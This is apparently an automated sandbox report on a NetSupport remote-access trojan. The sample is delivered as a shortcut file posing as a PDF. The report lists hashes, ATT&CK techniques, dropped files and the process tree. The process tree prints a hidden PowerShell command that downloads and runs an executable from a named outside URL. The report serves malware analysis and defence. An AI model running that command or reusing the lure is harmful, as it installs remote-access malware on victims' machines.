netsupport | b137bcb29d0d26422581e4e556bc1f9f29096d21de865c7d1a3e945434edd07f

Analysis

max time kernel
149s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20240426-en
resource tags

arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system
submitted
29-05-2024 16:12

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General

Target

Telex58734.pdf.lnk
Size

1KB
MD5

ee0e01d5cde42c26bba7e8b06380c146
SHA1

042c5bf844185917bd38d86b88640656b8710c2b
SHA256

b137bcb29d0d26422581e4e556bc1f9f29096d21de865c7d1a3e945434edd07f
SHA512

2af9903fb458549dab35e290229d62a68f692dacb3515d66e092b86bc24e8e4c4e79c80ab6d0df42a0e11365f27ece414acc04f4932f23dd588ce89e89f98831

Score

10^/10

netsupport execution rat

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://compliancekyc.s3.eu-west-1.amazonaws.com/jv.exe

Signatures

NetSupport
NetSupport is a remote access tool sold as a legitimate system administration software.
rat netsupport

Blocklisted process makes network request 1 IoCs

flow	pid	Process
8	976	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
976	powershell.exe

Downloads MZ/PE file

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1162180587-977231257-2194346871-1000\Control Panel\International\Geo\Nation	jv.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1162180587-977231257-2194346871-1000\Control Panel\International\Geo\Nation	cmd.exe

Drops startup file 1 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\autorunins.ini.lnk	jv.exe

Executes dropped EXE 2 IoCs

pid	Process
4840	jv.exe
1084	client32.exe

Loads dropped DLL 6 IoCs

pid	Process
1084	client32.exe
1084	client32.exe
1084	client32.exe
1084	client32.exe
1084	client32.exe
1084	client32.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 10 IoCs

pid	Process
976	powershell.exe
976	powershell.exe
4840	jv.exe
4840	jv.exe
4840	jv.exe
4840	jv.exe
4840	jv.exe
4840	jv.exe
4840	jv.exe
4840	jv.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	976	powershell.exe
Token: SeSecurityPrivilege	1084	client32.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
1084	client32.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 2768 wrote to memory of 976	2768	cmd.exe	85
PID 2768 wrote to memory of 976	2768	cmd.exe	85
PID 976 wrote to memory of 4840	976	powershell.exe	88
PID 976 wrote to memory of 4840	976	powershell.exe	88
PID 976 wrote to memory of 4840	976	powershell.exe	88
PID 4840 wrote to memory of 1084	4840	jv.exe	91
PID 4840 wrote to memory of 1084	4840	jv.exe	91
PID 4840 wrote to memory of 1084	4840	jv.exe	91

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\Telex58734.pdf.lnk
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2768
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -c "$wc=New-Object Net.WebClient; $wc.DownloadFile('https://compliancekyc.s3.eu-west-1.amazonaws.com/jv.exe', 'C:\Users\Admin\AppData\Roaming\jv.exe'); Start-Process -WindowStyle Hidden 'C:\Users\Admin\AppData\Roaming\jv.exe'"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:976
- - C:\Users\Admin\AppData\Roaming\jv.exe
    "C:\Users\Admin\AppData\Roaming\jv.exe"
    3⤵
    - Checks computer location settings
    - Drops startup file
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    PID:4840
  - - C:\Users\Admin\AppData\Roaming\SuportUpWin\client32.exe
      "C:\Users\Admin\AppData\Roaming\SuportUpWin\client32.exe"
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of FindShellTrayWindow
      PID:1084

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ejlmpbzf.0sb.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\SuportUpWin\HTCTL32.DLL

Filesize
320KB

MD5
c94005d2dcd2a54e40510344e0bb9435

SHA1
55b4a1620c5d0113811242c20bd9870a1e31d542

SHA256
3c072532bf7674d0c5154d4d22a9d9c0173530c0d00f69911cdbc2552175d899

SHA512
2e6f673864a54b1dcad9532ef9b18a9c45c0844f1f53e699fade2f41e43fa5cbc9b8e45e6f37b95f84cf6935a96fba2950ee3e0e9542809fd288fefba34ddd6a

Download Submit
C:\Users\Admin\AppData\Roaming\SuportUpWin\MSVCR100.dll

Filesize
755KB

MD5
0e37fbfa79d349d672456923ec5fbbe3

SHA1
4e880fc7625ccf8d9ca799d5b94ce2b1e7597335

SHA256
8793353461826fbd48f25ea8b835be204b758ce7510db2af631b28850355bd18

SHA512
2bea9bd528513a3c6a54beac25096ee200a4e6ccfc2a308ae9cfd1ad8738e2e2defd477d59db527a048e5e9a4fe1fc1d771701de14ef82b4dbcdc90df0387630

Download Submit
C:\Users\Admin\AppData\Roaming\SuportUpWin\NSM.LIC

Filesize
259B

MD5
866c96ba2823ac5fe70130dfaaa08531

SHA1
892a656da1ea264c73082da8c6e5f5728abcb861

SHA256
6a7c99e4bd767433c25d6df8df81baa99c05dd24fa064e45c306ff4d954e1921

SHA512
0dafc66222bbfcb1558d9845ee4ddeb7a687561b08b86a07b66b120c22952a8082e041d9234d9c69c8ade5d4dae894d3f10afd7ba6dd3f057a08fb5d57c42112

Download Submit
C:\Users\Admin\AppData\Roaming\SuportUpWin\PCICHEK.DLL

Filesize
18KB

MD5
104b30fef04433a2d2fd1d5f99f179fe

SHA1
ecb08e224a2f2772d1e53675bedc4b2c50485a41

SHA256
956b9fa960f913cce3137089c601f3c64cc24c54614b02bba62abb9610a985dd

SHA512
5efcaa8c58813c3a0a6026cd7f3b34ad4fb043fd2d458db2e914429be2b819f1ac74e2d35e4439601cf0cb50fcdcafdcf868da328eaaeec15b0a4a6b8b2c218f

Download Submit
C:\Users\Admin\AppData\Roaming\SuportUpWin\PCICL32.dll

Filesize
3.6MB

MD5
d3d39180e85700f72aaae25e40c125ff

SHA1
f3404ef6322f5c6e7862b507d05b8f4b7f1c7d15

SHA256
38684adb2183bf320eb308a96cdbde8d1d56740166c3e2596161f42a40fa32d5

SHA512
471ac150e93a182d135e5483d6b1492f08a49f5ccab420732b87210f2188be1577ceaaee4ce162a7acceff5c17cdd08dc51b1904228275f6bbde18022ec79d2f

Download Submit
C:\Users\Admin\AppData\Roaming\SuportUpWin\client32.exe

Filesize
104KB

MD5
f76954b68cc390f8009f1a052283a740

SHA1
3112a39aad950045d6422fb2abe98bed05931e6c

SHA256
63315df7981130853d75dc753e5776bdf371811bcfce351557c1e45afdd1ebfb

SHA512
d3aea0867b488161f62e43e7c250ad3917713b8b183139fb6e06c71594fb0cec769e1494b7cc257117992ae4aa891e056f99c25431ae19f032b1ba779051a880

Download Submit
C:\Users\Admin\AppData\Roaming\SuportUpWin\client32.ini

Filesize
825B

MD5
39e51af377aaeef1b0727e50e7fdeccf

SHA1
0209cc69414b8a9667ba025782f4e2e01cad6ec4

SHA256
ec74508f2dea1155da0cf4eddc0aa338f6de75616ad96685ea8972dbdbaa88ef

SHA512
d0ef076b5c76e9d9fe4f3ed98cb3a3478c7b48c30cf03169e980d3e68164e0c66fe2152ba909a7cffdca7c84db06eca9dfdeaaf6d3c24b723a133cf553f1bf4c

Download Submit
C:\Users\Admin\AppData\Roaming\SuportUpWin\pcicapi.dll

Filesize
32KB

MD5
34dfb87e4200d852d1fb45dc48f93cfc

SHA1
35b4e73fb7c8d4c3fefb90b7e7dc19f3e653c641

SHA256
2d6c6200508c0797e6542b195c999f3485c4ef76551aa3c65016587788ba1703

SHA512
f5bb4e700322cbaa5069244812a9b6ce6899ce15b4fd6384a3e8be421e409e4526b2f67fe210394cd47c4685861faf760eff9af77209100b82b2e0655581c9b2

Download Submit
C:\Users\Admin\AppData\Roaming\jv.exe

Filesize
3.1MB

MD5
3e4c6f9eadf2425f18030e59a60b1394

SHA1
938ce5feb114c40a357209b8d82160525bb3d63a

SHA256
fc7fa29f8b9dbcf9e880b6f22382dfff7ea0af6c22d379fe5dfc329a96d3e165

SHA512
f799b0bbd2770697cd817684f3ad923ba63cf8d11ea4e4ec0bd04c1ae1ce9fc54bbe576f2dcddfa4ba78e8cf510f45c7d1bc75fb75b4d5dbb2e4a4249d13e4d5

Download Submit
memory/976-33-0x00007FFDD1A40000-0x00007FFDD2501000-memory.dmp

Filesize
10.8MB

Download
memory/976-25-0x0000021969F50000-0x000002196A16C000-memory.dmp

Filesize
2.1MB

Download
memory/976-2-0x00007FFDD1A43000-0x00007FFDD1A45000-memory.dmp

Filesize
8KB

Download
memory/976-14-0x00007FFDD1A40000-0x00007FFDD2501000-memory.dmp

Filesize
10.8MB

Download
memory/976-13-0x00007FFDD1A40000-0x00007FFDD2501000-memory.dmp

Filesize
10.8MB

Download
memory/976-12-0x000002196A1A0000-0x000002196A1C2000-memory.dmp

Filesize
136KB

Download
memory/4840-35-0x0000000000870000-0x0000000000871000-memory.dmp

Filesize
4KB

Download
memory/4840-36-0x0000000002170000-0x0000000002171000-memory.dmp

Filesize
4KB

Download
memory/4840-37-0x0000000002180000-0x0000000002181000-memory.dmp

Filesize
4KB

Download
memory/4840-34-0x0000000000850000-0x0000000000851000-memory.dmp

Filesize
4KB

Download
memory/4840-26-0x00000000021D0000-0x000000000222A000-memory.dmp

Filesize
360KB

Download
memory/4840-88-0x0000000000400000-0x000000000051E000-memory.dmp

Filesize
1.1MB

Download